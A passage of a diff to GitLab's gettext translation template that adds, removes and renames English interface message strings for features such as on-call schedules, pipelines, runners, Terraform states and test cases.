+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
